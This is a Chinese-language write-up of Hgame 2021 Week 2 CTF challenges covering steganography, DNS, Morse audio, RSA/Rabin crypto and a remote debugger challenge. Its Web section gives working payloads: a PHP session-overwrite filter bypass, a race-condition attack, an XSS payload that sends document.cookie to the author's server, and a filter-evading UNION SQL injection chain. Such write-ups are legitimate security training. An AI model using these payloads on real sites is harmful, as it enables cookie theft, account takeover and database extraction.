引言
开门见山,这篇是 Hgame 2021 第二周的 WriteUp 啦。
第一周的详见 CTF | 2021 Hgame Week1 WriteUp。
Misc
Tools
工欲善其事,必先利其器。
https://1.oss.hgame2021.vidar.club/tools_21d9ccfca5a4321d6256038d3e885b6d.zip
F5 解 Matryoshka.jpg
$ java Extract Matryoshka.jpg -p "!LyJJ9bi&M7E72*JyD"
Huffman decoding starts
Permutation starts
577536 indices shuffled
Extraction starts
Length of embedded file: 18 bytes
(1, 127, 7) code used
得到 e@317S*p1A4bIYIs1M
解压
# A7SL9nHRJXLh@$EbE8
$ steghide.exe extract -sf "01.jpg" -p "A7SL9nHRJXLh@$EbE8"
wrote extracted data to "pwd.txt".
u0!FO4JUhl5!L55%$&
02.jpg:z0GFieYAee%gdf0%lF
$ outguess -k "z0GFieYAee%gdf0%lF" -r 02.jpg output.txt
Reading 02.jpg....
Extracting usable bits: 4930 bits
Steg retrieve: seed: 184, len: 18
$ cat output.txt
@UjXL93044V5zl2ZKI
有毒,我用新版 https://github.com/resurrecting-open-source-projects/outguess 这个出来是乱码……
要用旧版的 https://github.com/crorvick/outguess,然后编译安装。
./configure && make
03.jpg: rFQmRoT5lze@4X4^@0
到这里其实就可以扫出来了~
hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}
不过还是做一下吧。
xSRejK1^Z1Cp9M!z@H
最后拼成一整个。
DNS
A significant invention.
https://1.oss.hgame2021.vidar.club/dns_250e1c3c63209fd5546937be4f41cb39.pcapng
从抓到的流量可以看到 DNS 查询,以及访问了一个域名为 flag.hgame2021.cf 的网站。
BTW, 这是个免费域名,套了 CloudFlare。
访问提示 Do you know SPF?
。
发件人策略框架(英语:Sender Policy Framework;简称SPF; RFC 4408)是一套电子邮件认证机制,可以确认电子邮件确实是由网域授权的邮件服务器寄出,防止有人伪冒身份网络钓鱼或寄出垃圾电邮。SPF允许管理员设定一个DNS TXT记录或SPF记录设定发送邮件服务器的IP范围,如有任何邮件并非从上述指明授权的IP地址寄出,则很可能该邮件并非确实由真正的寄件者寄出(邮件上声称的“寄件者”为假冒)。
配域名邮箱的时候就整过,一般是需要设个 TXT 记录。
那就 dig 看看吧。
hgame{D0main_N4me_5ystem}
(嘿嘿,老套路了
Telegraph:1601 6639 3459 3134 0892
他曾经最喜欢的曲师写的曲子,让人犹如漫步在星空之下,可如今他听见只觉得反胃。
由于文件名过长,单独给出附件的md5: E5C3EE3F441B860B07A3ADCD98BFFC00
请将flag以hgame{your_flag_here}形式提交,flag为全大写。[https://1.oss.hgame2021.vidar.club/Telegraph%EF%BC%9A1601%206639%203459%203134%200892.mp3](https://1.oss.hgame2021.vidar.club/Telegraph:1601 6639 3459 3134 0892.mp3)
电报 1601 6639 3459 3134 0892
解码得到 带通滤波器
,喵,BPF 好东西。
拖进 Audacity,频谱图看到明显的 850Hz 字样。
在 850Hz 范围上下设置带通滤波器后,在 1:10 - 1:35 之前听到了电报声音。
其实对比一下也能看出来。
手工抄录一下。
-.-- --- ..- .-. ..-. .-.. .- --. .. ... ---... ....- --. ----- ----- -.. ... ----- -. --. -... ..- - -. ----- - ....- --. ----- ----- -.. -- .- -. ----- ...-- ----. ...-- .---- ----- -.- ..
解密得到
YOURFLAGIS:4G00DS0NGBUTN0T4G00DMAN039310KI
hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}
Hallucigenia
“我们不仅弄错了他的上下,还颠倒了它的左右。”
https://1.oss.hgame2021.vidar.club/Hallucigenia_6aa99427e137e9e3563d83f5d639cc74.png
图片第0层里隐写了二维码
扫码得到
gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk=
base64 解码发现是倒着的 png
也就是下面这张图
上下(垂直)倒一下,得到 flag。
hgame{tenchi_souzou_dezain_bu}
Web
LazyDogR4U
www.zip 给了源码。
发现其实就只有6个有用文件。
config.ini
是用户配置,注意到这里的 testuser 密码 md5 是 0e 开头。
[global]
debug = true
[admin]
username = admin
pass_md5 = b02d455009d3cf71951ba28058b2e615
[testuser]
username = testuser
pass_md5 = 0e114902927253523756713132279690
Config.php
读取上面的配置文件,导入所有用户。
<?php
class Config{
private static array $conf;
/**
* @var array|false
*/
static function init(){
self::$conf = parse_ini_file('config.ini', true);
}
static function getItem($section, $key){
return self::$conf[$section][$key];
}
static function getAllUsers(): array
{
$users = self::$conf;
unset($users['global']);
return $users;
}
}
Config::init();
lazy.php
这里把所有 GET / POST 进来的数据都直接赋值了,是漏洞点。
<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];
// 直接注册所有变量,这样我就能少打字力,芜湖~
foreach(array('_GET','_POST') as $_request){
foreach ($$_request as $_k => $_v){
foreach ($filter as $youBadBad){
$_k = str_replace($youBadBad, '', $_k);
}
${$_k} = $_v;
}
}
// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
require_once $class_name . ".php";
}
spl_autoload_register('auto');
User.php
定义 User 类
<?php
class User
{
function login($username, $password){
if(session_status() == 1){
session_start();
}
$userList = $this->getUsersList();
if(array_key_exists($username, $userList)){
if(md5($password) == $userList[$username]['pass_md5']){
$_SESSION['username'] = $username;
return true;
}else{
return false;
}
}
return false;
}
function logout(){
unset($_SESSION['username']);
session_destroy();
}
private function getUsersList(){
return Config::getAllUsers();
}
}
可以看到这里 密码比较是 MD5 弱类型比较。
index.php
<?php
session_start();
require_once "lazy.php";
if(isset($_SESSION['username'])){
header("Location: flag.php");
exit();
}else{
if(isset($username) && isset($password)){
if((new User())->login($username, $password)){
header("Location: flag.php");
exit();
}else{
echo "<script>alert('食人的魔鬼尝试着向答案进发。')</script>";
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<link rel="stylesheet" href="static/style.css">
</head>
<body>
<form class="box" action="" method="post">
<h3 style="color: white">未授权的的怪物正在本页面登陆</h3>
<input type="text" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" value="尝试进入">
</form>
</body>
</html>
逻辑是用户登录,然后跳转到 flag.php
flag.php
<?php
session_start();
require_once 'lazy.php';
if(!isset($_SESSION['username'])){
die('您配吗?');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
<link rel="stylesheet" href="static/style.css">
</head>
<body>
<form class="box" action="" method="post">
<?php
if($_SESSION['username'] === 'admin'){
echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
echo "<h3 style='color: white'>$flag</h3>";
}else{
if($submit == "getflag"){
echo "<h3 style='color: white'>{$_SESSION['username']}接近了问题的终点</h3>";
}else{
echo "<h3 style='color: white'>篡位者占领了神圣的页面</h3>";
}
}
?>
<input type="submit" name="submit" value="getflag">
</form>
</body>
</html>
可以看到首先要有 $_SESSION['username']
,其次这里有个表单,但不关键。
其实只需要在这里传参改掉 $_SESSION['username']
为 admin
就可了。
于是构造 payload:
POST http://5588b617f8.lazy.r4u.top/
username=testuser&password=QNKCDZO
成功获得 $_SESSION['username']
,而后直接 GET 传参改掉这个就好了。
注意它有个 filter,双写绕过就好了,即 _SESSSESSIONION[username]=admin
.
(实际上这里并不需要登录 2333
GET http://5588b617f8.lazy.r4u.top/flag.php?_SESSSESSIONION%5Busername%5D=admin
hgame{R4U~!s-4-lazy~doG}
Extensive Reading
unset_记一道CTF题,里面讲了个有点类似的。
foreach(array('_POST', '_GET', '_COOKIE') as $__R) { if($$__R) { foreach($$__R as $__k => $__v) { if(isset($$__k) && $$__k == $__v) unset($$__k); } } }
Liki的生日礼物
Liki生日快要到了,她想要一台switch,你能帮帮她么?
shop.js
里有一些接口相关代码
function login() {
$.post("/API/?m=login",
{
name: $("#name").val(),
password: $("#password").val()
},
function (data, status) {
var message = JSON.parse(data)
if (message.status === "error") {
alert(message.data)
} else if(message.status === "success"){
location.href="shop.html"
}
}
);
}
function register() {
$.post("/API/?m=register",
{
name: $("#name").val(),
password: $("#password").val()
},
function (data, status) {
var message = JSON.parse(data)
if (message.status === "error") {
alert(message.data);
} else if (message.status === "success") {
alert(message.data);
location.href = "index.html";
}
}
);
}
function getinfo() {
$.get("/API/?m=getinfo",
function (data, status) {
var message = JSON.parse(data)
if (message.status === "error") {
location.href = "index.html"
}
$("#money").text(message.data['money'])
$("#num").text(message.data['num'])
}
);
}
function buy() {
$.post("/API/?m=buy",
data = $("#buy").serialize() ,
function (data, status) {
var message = JSON.parse(data)
if (message.status === "error") {
alert(message.data)
} else {
alert("兑换成功");
getinfo();
}
},
);
}
function logout() {
$.get("/API/?m=logout",
function (data, status) {
var message = JSON.parse(data)
if (message.status === "success") {
alert(message.data);
location.href = "index.html";
}
}
);
}
function getflag() {
$.get("/API/?m=getflag",
function (data, status) {
var message = JSON.parse(data)
alert(message.data)
}
);
}
简单看了看发现没啥问题,也做了数据的合法性校验,比如大数溢出、float、负数啥的做不到。
于是考虑是 (数据库)条件竞争。也就是通过大量并发让服务器措手不及。
利用多线程并发去执行同一个 buy 操作,以至于服务器处理的线程之间未能同步好所有请求,扣除余额和发放兑换券不能同时完成,从而就能超过52张兑换券了。
这里用 BurpSuite 的 Intruder 来实现。
先抓个包,每次兑换 5个兑换券。
选择 Null payloads,生成 100 个 payloads,然后再开 10 个线程并发执行。
瞬间就跑完了,然后刷新一下页面,兑换,拿到 flag。
hgame{L0ck_1s_TH3_S0lllut!on!!!}
所以要加锁呢。
BTW, 本来用 Python 多线程跑的,发现不行……估计开的不够多?
Extensive reading:
例1:金额提现
例2:先存储文件,再判断是否合法,然后再删除。===> 写入 shell 木马
伪代码:
<?php if(isset($_GET['src'])){ saveimg($_GET['src']); //得到保存路径filename //检查文件 check(filename); if(不符合规范) delete(filename); else pass; //... } ?>
Post to zuckonit
d1gg12 新学了HTML,一起来看看他写的在线博客吧!
XSS
script.js
里有 API
$(function () {
$.get("/code").done(function (data) {
$('#captcha')[0].placeholder = "Code: md5(code)[:6] == " + data.code;
});
$("#send").click(function () {
let contentInput = $("#content").val();
if (contentInput !== "") {
$.ajax({
type: 'POST',
url: '/send',
data: {"content": contentInput}
,
success: function (data) {
location.reload();
}
,
error: function (data) {
alert(data.responseText);
}
,
})
$('#content').val("");
}
})
;
$("#clear").click(function () {
$.get("/clear");
$('#output').html("");
});
$("#submit").click(function () {
let code = $('#captcha').val();
$.post("/submit", {'code': code}).done(function (data) {
alert(data);
});
});
});
于是就构造 XSS 请求,可以发现他过滤了一些关键字,比如 script, http, https,而且用 img 的时候返回的字符倒序了。
那咱就倒过来写吧。
最开始是用 img 打到 https://xss.pt 上面的,后来有问题总是接收不到。
类似于这样
>gpj.pW3uo/tp.ssx//'=crs/gmi<img/src='//xss.pt/ou3Wp.jpg
干脆直接打到自己 VPS 上,用 url 算了。
注意 submit 的时候需要校验 md5,写个脚本爆破一下。
from hashlib import md5
for i in range(0xFFFFFFF):
x = md5(str(i).encode()).hexdigest()[:6]
if x == '612bbe':
print(i)
break
Payload:
"eikooc.tnemucod+'/倒过来的VPSIP//'=ferh.onitacol.wodniw"=rorreno/'#'=crs/gmi<
<img/src='#'/onerror="window.location.href='//VPSIP/'+document.cookie"
VPS 上拿到 cookie
然后带着这个 cookie 访问 /flag
,拿到 flag
hgame{X5s_t0_GEt_@dm1n's_cOokies.}
200OK!!
hint: status 字段会有什么坏心思呢?
hint: 这些字符串存在哪里呢?变量?还是…?
今天你 PTSD 了吗?
Header Status 字段 SQL 注入。
过滤了一些关键词,大小写混用来绕过,空格用 /**/
绕过。
# GET https://200ok.liki.link/server.php
# 查询当前数据库
-1'/**/uNion/**/SelecT/**/database()#
week2sqli
# 查询所有数据库
-1'/**/uNion/**/SelecT/**/group_concAt(schema_name)/**/fRom/**/information_schema.schemata#
information_schema,mysql,performance_schema,sys,week2sqli
# 查询表名
-1'/**/uNion/**/SelecT/**/group_concAt(table_name)/**/frOm/**/information_schema.tables/**/wherE/**/table_schema=database()#
f1111111144444444444g,status
# 查询列名
-1'/**/uNion/**/SelecT/**/group_concAt(column_name)/**/frOm/**/information_schema.columns/**/wherE/**/table_name='f1111111144444444444g'#
ffffff14gggggg
# 查询字段值
-1'/**/uNion/**/SelecT/**/ffffff14gggggg/**/frOm/**/f1111111144444444444g#
hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}
Crypto
signin
task:
from libnum import *
from Crypto.Util import number
from secret import FLAG
m = s2n(FLAG)
a = number.getPrime(1024)
p = number.getPrime(1024)
c = a ** p * m % p
print("a = {}".format(a))
print("p = {}".format(p))
print("c = {}".format(c))
# a = 164082656705280243691125701366387366083595671395343593709662689631005563420712514013315976102671561607316385961761351750099262566476484522886282723886520916918141054995957297228003062477122757133630754605589171370142255727815498152265374544695303477525391985791134432904658602561841437101787689055904235722543
# p = 119737975692964086468800522901334964831462403986044100108042760900964357796378935817727112428450685227062069911631189059668095468384251497619994295762904825142670700856495550090451162130895038569427260669297398177894831568054918372123884561767488134043298231005288709340276215664659982597587377569232740821383
# c = 61634913046503959178216377910203847308428571260648767327608998821120378164975042475439460895394673980137101460250286330274948376187417345460266021486815411513611233649751971142112272707408612929020818762110963149534344745362620646443064201836579453768233731326328543553543287448234680170625258920657056312732
(a + b) % n ≡ (a % n + b % n) % n
(a - b) % n ≡ (a % n - b % n) % n
(a * b) % n ≡ (a % n * b % n) % n
(a ^ b) % n ≡ ((a % n) ^ b) % n //幂运算若 a ≡ b (mod n),则
- 对于任意正整数c,有 a^c ≡ b^c (mod n)
- 对于任意整数c,有 ac ≡ bc (mod n), a+c ≡ b+c (mod n),
- 若 c ≡ d(mod n),则 a-c ≡ b-d(mod n), a+c ≡ b+d(mod n), ac ≡ bd(mod n)
如果 ac≡bc (mod m),且c和m互质,则 a≡b (mod m)。
[理解:当且仅当c和m互质,c^-1存在,等式左右可同乘模逆。]除法规则:
在模n意义下,a/b不再仅仅代表这两个数相除,而是指 a + k1 * n 和 b + k2 * n 这两个组数中任意两个相除,使商为整数
因此也就可以理解,除以一个数等价于乘以它的逆
a/b ≡ c(mod n) <=> a ≡ c * (b^-1) (mod n),其中b模n的逆记作b的负一次方。费马小定理:
a是整数,p是质数,则 a^p==a (mod p),如果 a 不是 p 的倍数,还有 a^(p-1) ≡ 1 (mod p)
在这题里面,就可以化简一下。
$$
c = a ^ p \cdot m \bmod p \\
\ = a \cdot m \bmod p \\
\Rightarrow
m = c \cdot a^{-1} \bmod p
$$
Exp:
from libnum import *
import gmpy2
a = gmpy2.mpz(164082656705280243691125701366387366083595671395343593709662689631005563420712514013315976102671561607316385961761351750099262566476484522886282723886520916918141054995957297228003062477122757133630754605589171370142255727815498152265374544695303477525391985791134432904658602561841437101787689055904235722543)
p = gmpy2.mpz(119737975692964086468800522901334964831462403986044100108042760900964357796378935817727112428450685227062069911631189059668095468384251497619994295762904825142670700856495550090451162130895038569427260669297398177894831568054918372123884561767488134043298231005288709340276215664659982597587377569232740821383)
c = gmpy2.mpz(61634913046503959178216377910203847308428571260648767327608998821120378164975042475439460895394673980137101460250286330274948376187417345460266021486815411513611233649751971142112272707408612929020818762110963149534344745362620646443064201836579453768233731326328543553543287448234680170625258920657056312732)
x = gmpy2.invert(a, p)
m = c * x % p
print(m)
print(n2s(int(m)))
# 3741406882261031073760817995303276732942491822855369918885665586853805791130867897899676088764261025784189
# b'hgame{M0du1@r_m4th+1s^th3~ba5is-Of=cRypt0!!}'
WhitegiveRSA
N = 882564595536224140639625987659416029426239230804614613279163
e = 65537
c = 747831491353896780365654517748216624798517769637260742155527
p, q = 857504083339712752489993810777, 1029224947942998075080348647219
hgame{w0w~yOU_kNoW+R5@!}
Extensive reading:
gcd or more?
from libnum import *
from secret import FLAG
p = 85228565021128901853314934583129083441989045225022541298550570449389839609019
q = 111614714641364911312915294479850549131835378046002423977989457843071188836271
n = p * q
cipher = pow(s2n(FLAG), 2, n)
print(cipher)
# 7665003682830666456193894491015989641647854826647177873141984107202099081475984827806007287830472899616818080907276606744467453445908923054975393623509539
参考 Rabin加密算法和n次同余方程、Rabin cryptosystem
正好符合加密的逻辑
选择两个大素数p和q做为私钥
计算n = p * q做为公钥
若明文为m,则密文为c ≡ m^2 (mod n)
解密:
- Compute the square root of $c$ modulo $p$ and $q$ using these formulas:
$$
{\displaystyle {\begin{aligned}
m_{p}=c^{\frac {1}{4}(p+1)}{\bmod {p}} \\
m_{q}=c^{\frac {1}{4}(q+1)}{\bmod {q}}
\end{aligned}}}
$$
- Use the extended Euclidean algorithm to find $y_{p}$ and $y_{q}$ such that $$ y_{p}\cdot p+y_{q}\cdot q=1 $$
- Use the Chinese remainder theorem to find the four square roots of $c$ modulo $n$:
$$
r_{1}=\left(y_{p}\cdot p\cdot m_{q}+y_{q}\cdot q\cdot m_{p}\right){\bmod {n}} \\
r_{2}=n-r_{1} \\
r_{3}=\left(y_{p}\cdot p\cdot m_{q}-y_{q}\cdot q\cdot m_{p}\right){\bmod {n}} \\
r_{4}=n-r_{3}
$$One of these four values is the original plaintext $m$.
四个解中有一个就是密文 m。
注意到这里的 p, q % 4 == 3.
Exp:
from gmpy2 import *
from random import randint
from Crypto.Util.number import getPrime
from libnum import *
def power(s1, s2, k1, k2, w, p):
return ((s1*k1+s2*k2*w) % p, (s1*k2+s2*k1) % p)
def Cipolla_algorithm(p, n):
a = randint(1, p)
w = a ** 2 - n
while pow(w, (p-1)//2, p) != p-1:
a = randint(1, p)
w = a ** 2 - n
times = (p+1)//2
k1 = 1
k2 = 0
first = True
sum1 = 1
sum2 = 0
while times != 0:
if first:
k1, k2 = power(k1, k2, a, 1, w, p)
first = False
else:
k1, k2 = power(k1, k2, k1, k2, w, p)
if times & 1:
sum1, sum2 = power(sum1, sum2, k1, k2, w, p)
times >>= 1
return sum1
def CRT(c, n):
for i in range(len(n)):
for j in range(i + 1, len(n)):
assert gcd(n[i], n[j]) == 1
assert len(c) == len(n)
N = reduce(lambda a, b: a*b, n)
x = 0
for i, j in zip(c, n):
N_i = N // j
N_i_1 = invert(N_i, j)
x += i*N_i*N_i_1
return x % N
if __name__ == '__main__':
p = 85228565021128901853314934583129083441989045225022541298550570449389839609019
q = 111614714641364911312915294479850549131835378046002423977989457843071188836271
n = p * q
c = 7665003682830666456193894491015989641647854826647177873141984107202099081475984827806007287830472899616818080907276606744467453445908923054975393623509539
get_x1 = Cipolla_algorithm(p, c)
get_x2 = Cipolla_algorithm(q, c)
assert pow(get_x1, 2, p) == c % p
assert pow(get_x2, 2, q) == c % q
c11 = get_x1
c12 = p-get_x1
c21 = get_x2
c22 = q-get_x2
print('possible m: ' + str(n2s(int(CRT([c11, c21], [p, q])))))
print('possible m: ' + str(n2s(int(CRT([c11, c22], [p, q])))))
print('possible m: ' + str(n2s(int(CRT([c12, c21], [p, q])))))
print('possible m: ' + str(n2s(int(CRT([c12, c22], [p, q])))))
# possible m: b'hgame{3xgCd~i5_re4l1y+e@sy^r1ght?}'
# possible m: b'z\x95\x82\x00R3\x1d\x11\xb3\x02Q\xb8\x1f\xcd\xe0\xd0\xbeC\xc31%\xa8]* \t\xdb\xf1v\x87O\xf9 \x15\xbc\xcc+\xe0\xebf\xc4\xd4k\nJ\xfbN\x03\\\xcc\x7f\x00\xa9\x90\xd8l\xef\x98\xce^\xd3\xbd72'
# possible m: b';\x0b\xe7ra \x82\x1fXQ/\xa1V.\xb9\x91\xc2\xd1{\x9d\xe4;n\x9f\xbb\xd7\xeb\x15\xa8\xc6b\x1e\xb0d\x04^\x000\x0f\xa8\x9a\xfe\xa4\x05|\x9d\xa4}s\x05z\x94\xe9\x80\xda=97R\x00?6A\xa3'
# possible m: b'\xb5\xa1ir\xb3S\x9f1\x0bS\x81Yu\xfc\x9ab\x81\x15>\xcf\t\xe3\xcb\xc9\xdb\xe1\xc7\x07\x1fMI\xb0o\x0c[\xae\xf8\x98\x93\xcb\xfbT\xa5\xdah&\x8dLc\xa0\x80j-\xd1?0\xca]\xee\xf7\xaa\x7f9X'
hgame{3xgCd~i5_re4l1y+e@sy^r1ght?}
Reverse
fake_debugger beta
你写了一个什么奇怪的debugger?这东西能用?看起来规则也不太一样?
nc 101.132.177.131 9999
空格 + 回车进行单步调试。
可以发现 ecx
是下标。
首先开头肯定是 hgame{
于是可以写个脚本遍历每一位的字母,如果不提示 Wrong Flag! Try again!
则说明对了。
后来发现这么不行。
再看了亿下,正确的下一个字符是 zf 分别为 0 和 1 的 ebx 的值相互异或的那个。
于是就好办了,直接提取一下,异或完事!
(我是 fw,这个脚本我写了贼久,刚开始是爆破密码,跑着一直不对,后来发现了异或就行,再后来才发现其实是循环跳出条件我写错了
(爆破解/异或解都行
"""
fake_debugger beta
MiaoTony
"""
import re
from pwn import *
context.log_level = 'debug'
context.timeout = 10
def challenge(payload_raw: str):
sh = remote('101.132.177.131', 9999)
sh.recvuntil("Please input you flag now!\n")
payload = payload_raw.ljust(25, 'D')
sh.sendline(payload)
r = sh.recvuntil('--------------INFO--------------\n').decode()
while True:
try:
sh.sendline(' ')
r = sh.recvuntil('--------------INFO--------------\n').decode()
except EOFError:
print("ERROR!!!!!")
return False, ''
ecx = re.search(r"ecx: (\d+)", r).group(1)
zf = re.search(r"zf: (\d+)", r).group(1)
ebx = re.search(r"ebx: (\d+)", r).group(1)
print("======================== ecx:", ecx)
if int(ecx) == len(payload_raw):
if zf == '0':
ebx0 = ebx
else:
s_next = chr(int(ebx0) ^ int(ebx))
print(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Next is", s_next)
return True, s_next
s = "hgame{"
while True:
print('======================================================>', s)
isTrue, i = challenge(s)
if isTrue:
s += i
print('<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<', len(s), s)
if i == '}':
break
小结
第二周题目还好还好。
AK 了 Misc,后面几天过年就没看了 233.
喵呜,binary 好难不会做,嘤嘤嘤。(抄第一周的,我是 fw 好菜啊
新年快乐喵!
有兴趣的话欢迎来看看咱自己整的 MeowGame 解谜闯关吧,详见 2021 牛年大吉!又是一年解谜闯关。
(溜了溜了